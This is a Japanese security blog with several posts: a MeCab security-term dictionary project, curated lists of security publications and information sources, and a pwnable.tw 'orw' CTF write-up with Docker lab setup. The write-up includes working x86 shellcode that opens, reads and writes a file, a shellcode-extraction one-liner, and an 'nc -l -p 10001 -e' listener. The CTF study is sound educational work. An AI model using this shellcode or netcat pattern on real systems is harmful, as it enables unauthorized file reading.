トリコロールな猫/セキュリティ

セキュリティ情報の備忘録的まとめ。

MeCab用のセキュリティ用語辞書を作っています

日本語形態素解析システム「MeCab」を使って楽しく形態素解析をしているわけですが、セキュリティ用語が意外と辞書にないようで、期待通りの結果が出ないことが多いため、自分で作ってみることにしました。

とりあえずアウトプットしないと始まらないので、まだ102単語しか書いていないのですが公開します。

https://github.com/nekotricolor/mecab-it-security-dictionary

以下、苦労話です。読まなくてもいいですが読んだ上で褒めてほしい。

やりたいこと

たとえば「サイドチャネル」を解析してみると:

サイドチャネル
サイド   名詞,一般,*,*,*,*,サイド,サイド,サイド
チャネル    名詞,一般,*,*,*,*,チャネル,チャネル,チャネル
EOS

これを

サイドチャネル   名詞,固有名詞,一般,*,*,*,サイドチャネル,サイドチャネル,サイドチャネル

と一単語として認識するようにします。

MeCab入りのDockerイメージを作る

Ubuntu 18.04にRubyとMeCabを入れた環境を作ります。nattoはbundlerで。

Gemfileは以下の通り。

source "https://rubygems.org"

gem 'mecab'
gem 'natto'

Dockerfileは以下の通り。

FROM ubuntu:18.04
ENV LANG=C.UTF-8
ENV WORK_DIR /work
RUN mkdir -p ${WORK_DIR}
WORKDIR ${WORK_DIR}

RUN apt-get update && apt-get upgrade -y

# basic tools
RUN apt-get install -y git gdb file vim
RUN apt-get install -y curl wget ruby ruby-dev

# install mecab
RUN apt-get install libmecab2 libmecab-dev mecab mecab-ipadic mecab-ipadic-utf8 mecab-utils
RUN apt-get install -y make xz-utils build-essential

ADD Gemfile Gemfile
RUN gem install bundler
RUN bundle install

LANG環境変数の設定をしないと以下のようなMeCabのエラーがでます。すっごくハマりました。

/var/lib/gems/2.5.0/gems/natto-1.2.0/lib/natto/natto.rb:423:in `rescue in block (2 levels) in initialize': MECAB_NBEST request type is not set (Natto::MeCabError)

これでイメージを作ります。

% docker build -t mecab-ruby:basic .

シェルで作業したいのでDocker起動用に以下のようなシェルスクリプトを作りました。/Users/nekotricolor/Documents/mecab-it-security-dictionaryフォルダを/root/shareとしてマウントしています。

docker run --rm -it --name mecab-ruby -v /Users/nekotricolor/Documents/mecab-it-security-dictionary:/root/share mecab-ruby:basic /bin/bash

単語のリスト作り

Googleスプレッドシートで単語のリストを作ります。MeCabの辞書のフォーマットは以下の通り。

表層形,左文脈ID,右文脈ID,コスト,品詞,品詞細分類1,品詞細分類2,品詞細分類3,活用型,活用形,原形,読み,発音

品詞細分類はIPA品詞体系に基づくものです。定義通りに書いておかないとコンパイルできないので注意。

www.unixuser.org

今回は全て以下に統一しています。

  • 品詞:名詞
  • 品詞細分類1:固有名詞
  • 品詞細分類2:一般

例えば「サイドチャネル」の場合(左/右文脈IDとコストは後述):

サイドチャネル,1288,1288,20,名詞,固有名詞,一般,,,*,サイドチャネル,サイドチャネル,サイドチャネル

左/右文脈IDとコストはあとで入力するとして、とりあえず表層形・品詞・品詞細分類1・原形・読み・発音を埋めます。

単語登録の参考にさせていただいたサイトは以下の通りです。ありがとうございました。

www.atmarkit.co.jp

enterprisezine.jp

左/右文脈IDの決定

以前のバージョンでは左/右文脈IDは空欄にしておくと自動でつけてくれていたのですが、最新バージョンでは自分でつける必要があります。IDは、以下のファイルで定義されています。

  • left-id.def
  • right-id.def

該当部分はここ。左右同じでした。

1288 名詞,固有名詞,一般,,,,

ということで、左/右文脈IDは1288でいいみたいですね。

この記事が大変参考になりました。

kento1109.hatenablog.com

rooter.jp

辞書のコンパイルと追加

辞書のスプレッドシートを「mecab-it-security-dic.csv」という名前でcsv形式でダウンロードし、MeCabのmecab-dict-indexというコマンドを使ってコンパイルします。

システム辞書があるディレクトリを渡す必要があるのでそれを調べます。

$ mecab -D
filename:   /var/lib/mecab/dic/debian/sys.dic
version:    102
charset:    UTF-8
type:   0
size:   392126
left size:  1316
right size: 1316

「/var/lib/mecab/dic/debian/」ですね。

$ /usr/lib/mecab/mecab-dict-index -d /var/lib/mecab/dic/debian -u mecab-it-security-dic.dic -f utf8 -t utf8 mecab-it-security-dic.csv

これで、カレントディレクトリに「mecab-it-security-dic.dic」というファイルができます。/etc/mecabrcに以下を追加。

userdic = /root/share/mecab-it-security-dic.dic

「サイドチャネル」を解析してみると、無事一単語として認識されました。

サイドチャネル
サイドチャネル   名詞,固有名詞,一般,*,*,*,サイドチャネル,サイドチャネル,サイドチャネル
EOS

辞書の作成と、mecabのユーザ辞書への追加は以下の本家の記事を参考にしました。

taku910.github.io

これを使ってやりたいこと

  1. 登録単語数を増やすために、いろいろな記事を形態素解析してみて出てこない単語を拾う
  2. 表記の揺れをなんとかしたい(「水飲み場"型"攻撃」と「水飲み場攻撃」とか)
  3. 4年前から溜め込んでいるセキュリティ系ニュースのフィードを解析して何か面白い結果が出るか見たい
  4. 形態素解析する必要はなくて、今回作った辞書の単語でパターンマッチすればいいだけかも・・・

2020年上半期に公開されたセキュリティ関連文書まとめ

リアルタイムには情報を追っておらず、お知らせ一覧等から調べているため抜けがあるかもしれません。

ルールは以下。

  • 公共性の高いものを載せています
  • WGや研究会の純粋な活動報告書、個別のインシデント・脆弱性は載せていません

情報源はこの辺。

security.nekotricolor.com

セキュリティ関連団体

IPA

文書タイトル 公開日
「制御システム関連のサイバーインシデント事例」シリーズ - Stuxnet:制御システムを標的とする初めてのマルウェア 2020/03/16
「制御システム関連のサイバーインシデント事例」シリーズ - 2019年 ランサムウェアによる操業停止 2020/03/16
「2019年度情報セキュリティの倫理に対する意識調査」報告書 2020/03/17
「2019年度情報セキュリティの脅威に対する意識調査」報告書 2020/03/17
(ドイツBSI) 産業用制御システム(ICS)のセキュリティ -10大脅威と対策 2019- 2020/03/18
「企業のCISO等やセキュリティ対策推進に関する実態調査」報告書(アンケート記入で入手可) 2020/03/25
サイバーセキュリティ経営ガイドライン実践状況の可視化ツールβ版 2020/03/25
情報システム等の脆弱性情報の取扱いに関する研究会 2019年度報告書 2020/03/25
アジャイル開発版「情報システム・モデル取引・契約書」 2020/03/31
「組込み/IoTに関する動向調査」調査報告書 2020/03/31
「組込み/IoTに関する動向調査」調査報告書(データ編) 2020/03/31
情報セキュリティ10大脅威 2020 2020/04
デジタル・トランスフォーメーション(DX)推進に向けた企業とIT人材の実態調査 ~ 詳細編~ 2020/05/14
DX推進指標 自己診断結果 分析レポート 2020/05/28
情報セキュリティ対策支援サイト(刷新版) 2020/05/28
情報セキュリティ診断サイト(刷新版) 2020/05/28
サイバーセキュリティ経営ガイドラインVer 2.0実践のためのプラクティス集 第2版(アンケート記入で入手可) 2020/06/09
AI白書2017(PDF版公開) 2020/06/10
「2019年度 中小企業の情報セキュリティマネジメント指導業務」報告書 2020/06/15
マルチプラットフォームシステムでのセキュリティ対策のPoC(概念実証)報告書 2020/06/23

フィッシング対策協議会

文書タイトル 公開日
フィッシングレポート 2020 2020/06/02
フィッシング対策ガイドライン 2020/06/02
利用者向けフィッシング詐欺対策ガイドライン 2020/06/02

テレワークのセキュリティに関する情報まとめ

【2020/04/21追記】
NTTとIPAによるテレワークサービスシステム。SoftEtherを使い簡単に構築できるリモートデスクトップ環境を無償で開放するそうです。


【2020/04/21追記ここまで】

取り急ぎ、公的機関が公開しているテレワークのセキュリティに関する情報をまとめました。

突然テレワークをすることになった人はまずこの辺を読んでできる対策をしておきましょう。


突然テレワークをさせることになった管理者はまずこれを読むのがいいかと。


以下3つは新型コロナウイルスの流行前に公開されたものです。最終的には、総務省のテレワークセキュリティガイドラインに沿った運用をすべきと思います。


なお、総務省のテレワーク情報サイトでは、テレワークの導入・運用や労働衛生管理に関するガイドラインも公開されています。


その他、公的機関ではありませんが個人的に信頼できる情報も載せておきます。すべて今年公開されたものです。

www.nttdata.com
qiita.com
www.lac.co.jp


セキュリティとは関係ありませんが、公的機関が提供する支援の検索サイトがあったのでそれも載せておきます。


皆さまご自愛ください。

セキュリティに関する情報源を整理してみた 2020年版

【2020/08/03 「デジタル・フォレンジック研究会」追加】

2015年に公開した以下の記事、そろそろ全体的に更新したくなったので新たに記事を作成しました。

security.nekotricolor.com

リンク切れの修正が主ですが、多少追加・削除しています。間違いがありましたらtwitter等でお知らせいただけると大変助かります。

目次

政府機関

公式サイト 新着情報の場所
内閣サイバーセキュリティセンター What's New
経済産業省:情報セキュリティ政策 最新情報
総務省:サイバーセキュリティ統括官 新着情報
総務省:情報通信政策 報道発表、情報通信行政の最新トピックス
高度情報通信ネットワーク社会推進戦略本部(IT総合戦略本部) お知らせ
警察庁@police トピックス
警察庁サイバー犯罪対策プロジェクト What's new
CRYPTREC 新着情報

セキュリティ関連団体

公式サイト 新着情報の場所
JPCERT コーディネーションセンター 注意喚起/JPCERT/CCからのお知らせ(RSS
情報処理推進機構(IPA) 新着情報(RSS
日本ネットワークセキュリティ協会(JNSA) NEWS TOPICS -更新情報-(RSS
情報セキュリティ教育事業者連絡会(ISEPA) ISEPAからのお知らせ
フィッシング対策協議会 緊急情報一覧
セイファーインターネット協会(SIA) お知らせ
重要生活機器連携セキュリティ協議会(CCDS) 新着情報
日本クラウドセキュリティアライアンス(CSAジャパン) 新着情報
デジタル・フォレンジック研究会 一覧

セキュリティベンダー

セキュリティベンダーのうち、注意喚起やセキュリティ関連情報を公開しているところをピックアップ。

公式サイト 新着情報の場所
ラック 注意喚起の記事
エフセキュア エフセキュアブログRSS
トレンドマイクロ トレンドマイクロセキュリティブログRSS
トレンドマイクロ:インターネットセキュリティナレッジ ニュース一覧RSS
マカフィー セキュリティニュース
カスペルスキー 脅威
IBM Security Tokyo SOC Report
FireEye ブログ(脅威調査)

その他団体

セキュリティを銘打っているわけではないけど、チェックしておいた方がいいサイト。

公式サイト 新着情報の場所
日本ネットワークインフォメーションセンター(JPNIC) 新着情報(RSS
日本レジストリサービス(JPRS) 新着情報一覧RSS
日本情報経済社会推進協会(JIPDEC) ニューストピックス
金融情報システムセンター トピックス
日本銀行金融研究所 新着情報(RSS
Internet Society Japan(ISOC-JP) News

脆弱性情報(全分野)

網羅的に公開しているもの。

脆弱性情報(ベンダ・開発者)

ベンダーのセキュリティアドバイザリやパッチの情報など。英語版が先に出て日本語版が後から公開されるベンダは、英語日本語両方のページを載せています。

Microsoft

Apple

Adobe

Cisco

Oracle

WordPress

その他

名称 セキュリティ情報
Mozilla Mozilla Foundation Security Advisories(英語)
ISC LATEST NEWSRSS

脆弱性情報(言語)

名称 セキュリティ情報
Ruby 最近のニュース
Python Python InsiderRSS
PHP PHP

国内のニュースサイト

海外のニュースサイト

数が多いのでRSSはご勘弁を。

関連記事

security.nekotricolor.com

security.nekotricolor.com

pwnable.twのorwのwrite-up。シェルコードを書く

前回の「start」のwrite-upに思いの外アクセスがあって嬉しかったので、調子に乗って早々に次の問題もやってみました。スコア100の「orw」です。

pwnable.tw

前回のwrite-upは以下。

security.nekotricolor.com

本当は今回からpwn用ツールを色々使ってみようと思ったのですが、使うと一瞬で終わっちゃうので結局使っていません。

環境

ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
security.nekotricolor.com

以降、MBAのコマンドプロンプトは「%」、DockerのUbuntuは「#」です。

方針

challenges/のorwのページにアクセスすると、以下のようなことが書いてあります。

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

ということで、/home/orw/flagをopenし、readして標準出力かなにかにwriteすればフラグが分かると思われます。

事前調査

問題に書かれているものをとりあえずやってみる

問題のページに書かれているncコマンドを実行してみます。

% nc chall.pwnable.tw 10001
Give my your shellcode:

「Give "me"では?」という気がしますが気にせずリターンキーを押してみるとプロンプトに戻ります。

startと同じく、標準入力になんらかの文字列を入れるパターンのようです。

fileコマンド

問題のページからorwをダウンロードして、fileコマンドでなんのファイルなのかを見てみます。

# file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

実行ファイルのようです。

stringsコマンド

ファイルサイズが前回より大きく、たくさん出ちゃったので途中は略。特に有益な情報はなかったです。

# strings orw
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
__stack_chk_fail
printf
(略)
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

ファイルを実行

今回も実行ファイルですので、実行してみます。なお、orwはlibc6-i386がインストールされていない環境だと動かないようです。

# ./orw
Give my your shellcode:

最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10001番ポートに接続するとこのorwが実行されるのでしょう。

文字列が入力できるときは、とりあえず大量に「a」を入力してみます。

# ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。

gdb上で実行する

前回と同じく、せっかく異常終了したのでgdb上で実行して大量の文字列を入力してみます。

# gdb -q ./orw
Reading symbols from ./orw...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/share/orw/orw 
Give my your shellcode:1234567890abcdefghijk

Program received signal SIGSEGV, Segmentation fault.
0x0804a060 in shellcode ()
(gdb) i r
eax            0x804a060	134520928
ecx            0x804a060	134520928
edx            0xc8	200
ebx            0x0	0
esp            0xffffd71c	0xffffd71c
ebp            0xffffd728	0xffffd728
esi            0xf7fc5000	-134459392
edi            0x0	0
eip            0x804a060	0x804a060 <shellcode>
eflags         0x10282	[ SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

eip周辺のメモリの中身を見てみますと・・

(gdb) x/10x $eip
0x804a060 <shellcode>:	0x34333231	0x38373635	0x62613039	0x66656463
0x804a070 <shellcode+16>:	0x6a696867	0x00000a6b	0x00000000	0x00000000
0x804a080 <shellcode+32>:	0x00000000	0x00000000
(gdb) 

なんとびっくり入力した文字列がそのまま実行されています。*1
文字列の長さは関係ないですね。とにかく文字列を入力、というかただリターンするだけでも異常終了すると。

ということは、もはや逆アセンブルする必要もなく、「方針」で書いた通り /home/orw/flag を open して read して write するシェルコードを標準入力に与えればいいわけですね。

シェルコードを書く

脆弱性をつくわけじゃないので「シェルコード」ではないのかな?特定のファイルをopen/read/writeするアセンブリコードです。

ファイルをopenする

/home/orw/flagというファイルを(read onlyで)openするには、以下のようなシステムコールを実行します。

open("/home/orw/flag", 0, 0)

int 0x80でシステムコールを呼び出す場合、システムコールの番号をeaxに、引数をebxから順番に設定する必要があります。
blog.ishikawa.tech

となると、以下のようなシェルコードを書く必要があります。

  1. /home/orw/flag\x00という文字列をpush(espの指す先に「/home/orw/flag\x00」という文字列が入ることになります)
  2. eaxはopen()システムコールの番号の「5」にする
  3. ebxはespと同値にする
  4. ecx、edx(open()の第二、第三引数)は「0」にする
  5. int 0x80でシステムコールを呼び出す

ただし、「\x00」が途中に入るとプログラムが終了してしまうためそこは一工夫。pwntoolsのshellcraftを参考にしました。(だったらそっちを使えって話ですが)

pwnlib.shellcraft.i386 — Shellcode for Intel 80386 — pwntools 4.0.1 documentation

これの「pwnlib.shellcraft.i386.linux.syscall」の項に、以下のような記述があります。

print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f6e
    push 0x77702f65
    push 0x6d6f682f
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80

0x1010101と0x1016660のxorは「0x00006761」、リトルエンディアンを考慮しつつ文字列に変換すると「ag\x00\x00」。つまり、/home/pwn/flag\x00の最後の4バイトになります。賢い。

文字数がちょうど一緒なので、上記の/home/pwn/flagの「pwn」の部分を「orw」にすればこのまま流用できます。実際のアセンブリコードは以下の通りです。

push 0x1010101
xor dword [esp], 0x1016660
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0x05
pop eax
int 0x80

ちなみに、前回参考にしたシェルコードの書き方の記事では、「db」という、数値を1バイトのデータとしてメモリに格納する疑似命令を使っていました。文字列が長い場合にはこっちの方が楽ですねたぶん。

book.mynavi.jp

openシステムコールの戻り値はファイルディスクリプタで、eaxにセットされます。ファイルディスクリプタは、0が標準入力、1が標準出力、2が標準エラー出力で、openシステムコールによるファイルディスクリプタは3から順に割り当てられるようです。

qiita.com

readする

ファイルディスクリプタを指定し、64バイト分readしてスタック領域に書き込むには、以下のようなシステムコールを実行します。*2

read(fd, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. ebxに、ファイルディスクリプタ(eax)をmovする
  2. ecxはespと同値にする
  3. edxは0x40(= 64)にする
  4. eaxはreadシステムコールの番号の「5」にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ebx, eax
mov ecx, esp
push 0x40
pop edx
push 0x03
pop eax
int 0x80

writeする

標準出力にespの指す先を64バイト分writeするには、以下のようなシステムコールを実行します。

write(1, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. eaxはreadシステムコールの番号の「4」にする
  2. ebxは0x01にする
  3. ecxはespと同値にする
  4. edxは0x40(= 64)にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ecx, esp
push 0x04
pop eax
push 0x01
pop ebx
push 0x40
pop edx
int 0x80

書いたアセンブリコードを実行してみる

先ほどのアセンブリコードをまとめてshellcode.sとします。分かりやすくするよう、ラベル(_start:とかopen:とか)をつけ、_exitとして終了処理を実行していますが、なくても大丈夫なはず。先頭の「BITS 32」は必要です。なお、終了処理は、exitシステムコール(番号は「1」)を実行するだけです。

BITS 32
global _start

_start:
	jmp open

open:
	push 0x1010101
	xor dword [esp], 0x1016660
	push 0x6c662f77
	push 0x726f2f65
	push 0x6d6f682f
	mov ebx, esp
	push 0x05
	pop eax
	xor ecx, ecx
	xor edx, edx
	int 0x80
    
read:
	mov ebx, eax
	mov ecx, esp
	push 0x40
	pop edx
	push 0x03
	pop eax
	int 0x80

write:
	mov ecx, esp
	push 0x04
	pop eax
	push 0x01
	pop ebx
	push 0x40
	pop edx
	int 0x80

_exit:
	xor eax, eax
	inc eax
	int 0x80

これのバイナリコードをターゲットホストに送信すればフラグが取れるのですが、せっかくなのでローカルホスト上に/home/orw/flagを作成し、ファイルが読めるかやってみます。

生のアセンブリコードを実行できるようにする方法は前回参考にさせていただいたブログに答えが書かれています。というかこの記事って書籍の一部なんですよね。何度も引用させていただいているので書籍が何かも載せておきます。

アセンブリコードを実行ファイルに変換するには、以下のコマンドを実行します。

# nasm -f aout shellcode.s
# ld -m elf_i386 shellcode.o

これでa.outという実行ファイルができたので、実行してみます。なお、flagの中身は「a」の羅列にしました。

# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?o???w???????

できました。後ろに変な文字列が入っているのは、スタック領域を(flagのサイズを超えて)64バイト分読み込んでいるからです。

(おまけ)シェルコードを短くする

レジスタに数値をセットするのにmovではなくpushとpopを使っているのは、その方がコードが短くなるからです。

movだと5バイト。

B801000000        mov eax, 0x1

pushとpopだと3バイト。

6A01              push 0x1
58                pop eax

シェルコードはものによっては書き込める領域がかなり小さかったりするので、短いに越したことはありません。今回はあまり考えなくても良さそうですが。

Capture the Flag

実行ファイルからバイナリコードを抽出する

これもどーすれば?と思いますよね。まあもう実行ファイルはできているので、gdbやnasmで逆アセンブルし、該当部分をコピペして地道に「\x」をつけてもいいんですが、それをやってくれる素晴らしいワンライナーを見つけたのでご紹介。objdumpでできるそうです。

qiita.com

実行した結果が以下。長いので略。

# objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x00\x68\x01\x01\x01\x01\x81\x34\x24\x60\x66\x01\x01(略)

バイナリコードをターゲットホストに送信する

スクリプトを書いちゃうと答えになっちゃうので書きませんが、送信する部分は前回のスクリプトと同じなのでそちらを参照ください。

実行すると答えが出ちゃうのでそれも載せませんが、せっかくなので、/etc/passwdを読んでみた結果をどうぞ。64バイトしか読んでないので途中で切れてます。

# ruby 100orw_exploit.rb 
>> Give my your shellcode:
<< Sending shellcode....
>> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/u

なお、実際のスクリプトはpwnable.twのwrite-upのページに載せています。クリアした人のみ閲覧可能です。

感想

脆弱性をどうこうするのではなく、制限されたシステムコールによってフラグのファイルを閲覧する、という、製品のexploitコードを書くときにはありえないシチュエーションが面白かったです。pwntoolsのシェルコード生成のライブラリにこのへんのシステムコールを実行する機能があるということは、割とポピュラーなやり方なんでしょうか?

この問題は脆弱性だけでなく、ASLRとかDEPとかも考える必要がなく、純粋にシェルコードを書くことに特化しているのがとても良かったです。シェルコードの書き方やそれを実行する方法、バイナリコードへの変換など、これまたいい勉強になりました。

*1:正確には、実行しようとして異常終了しています。

*2:64バイトじゃなくても構わないですが、長すぎるとうまく動きません。

pwnable.tw攻略のためのDockerイメージ作り〜orw編

pwnable.twの「orw」のDockerイメージについて。write-upは以下。

security.nekotricolor.com

Dockerfile

前回はいろんなことをやったのでruby環境をrbenvから作りましたが、今回は難しいことはしていないのでごくごくシンプルにしました。なお、orwはlibc6-i386が入っていないと動かないようなのでそこだけ注意。また、シェルコード作成に使うnasmも入れています。

Dockerfile.orwという名前で以下を作成します。

FROM ubuntu:18.04
RUN apt-get update && apt-get upgrade -y

# basic tools
RUN apt-get install -y \
    git \
    gdb \
    file \
    vim \
    netcat

# dev tools
RUN apt-get install -y \
    build-essential \
    libssl-dev \
    libreadline-dev \
    zlib1g-dev \
    curl \
    wget \
    ruby \
    ruby-dev

RUN apt-get install -y \
     nasm

RUN apt-get install -y \
     libc6-i386

イメージを作成する

pwnabletwという名前で、タグを「orw」としました。

% docker build -f Dockerfile.orw -t pwnabletw:orw .

orwを実行するシェルスクリプトを作成する

ホストOS上のどこか(ここでは/Users/nekotricolor/share/orw)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/orw/orwは問題のバイナリファイルです。

while true; do
nc -l -p 10001 -e /root/share/orw/orw;
done

Dockerコンテナを実行する

プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。

% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:orw
root@f71b17310dff:/# 

コンテナ上でorwを実行するシェルスクリプトを実行する

/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10001番ポートがListen状態になり、接続するとorwが実行されます。

root@f71b17310dff:/# /bin/sh /root/share/orw/start.sh

コンテナに入り、10001番ポートに接続してみる

ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。

% docker exec -it f71b17310dff bash

ncコマンドで10001番ポートに接続してみます。

root@f71b17310dff:/# nc localhost 10001
Give my your shellcode: 

これで、問題を解く環境が整いました。